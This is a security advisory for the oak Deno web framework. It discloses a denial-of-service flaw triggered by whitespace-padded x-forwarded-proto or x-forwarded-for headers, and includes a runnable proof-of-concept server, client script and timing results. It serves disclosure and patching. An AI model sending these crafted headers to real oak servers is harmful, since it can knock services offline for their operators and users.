GHSA-r3v7-pc4g-7xp9

Summary

With specially crafted value of the x-forwarded-proto or x-forwarded-for headers, it's possible to significantly slow down an oak server.

Vulnerable Code

• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87
• https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142

PoC

• setup

  deno --version
  deno 2.4.3
  v8 13.7.152.14-rusty
  typescript 5.8.3
  

• server.ts

  import { Application } from "https://deno.land/x/oak/mod.ts";
  
  const app = new Application({proxy: true});
  
  let i = 1
  
  app.use((ctx) => {
  
      // let url = ctx.request.url   // test1) x-forwarded-proto
      let ips = ctx.request.ips   // test2) x-forwarded-for
      console.log(`request ${i} received`)
      i++;
      ctx.response.body = "hello";
  });
  
  await app.listen({ port: 8080 });
  

• client.ts

  const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
  
  const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
  const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');
  
  async function run(data) {
      for (let i = 0; i < data.length; i++) {
          let d = data[i];
  
          const start = performance.now();
  
          await fetch("http://localhost:8080", {
              headers: {
                  // "x-forwarded-proto": d,  // test1)
                  "x-forwarded-for": d,    // test2)
              },
          });
  
          const end = performance.now();
          console.log('length=%d, time=%d ms', d.length, end - start);
      }
  }
  
  console.log("\n[+] Test normal behavior")
  await run(data1)
  console.log("\n[+] Test payloads")
  await run(data2)
  

• run

  deno run --allow-net server.ts
  deno run --allow-net client.ts
  
  [+] Test normal behavior
  length=2002, time=14 ms
  length=4002, time=6 ms
  length=8002, time=3 ms
  length=16002, time=3 ms
  length=32002, time=2 ms
  length=64002, time=4 ms
  length=128002, time=3 ms
  
  [+] Test payloads
  length=2002, time=7 ms
  length=4002, time=22 ms
  length=8002, time=77 ms
  length=16002, time=241 ms
  length=32002, time=947 ms
  length=64002, time=4020 ms
  length=128002, time=15840 ms
  

Impact

A specially crafted value of the x-forwarded-proto or x-forwarded-for headers  can be used to significantly slow down an oak server.

Similar Issues

• https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6
  • https://github.com/denoland/deno/pull/17722
• https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693
  • https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff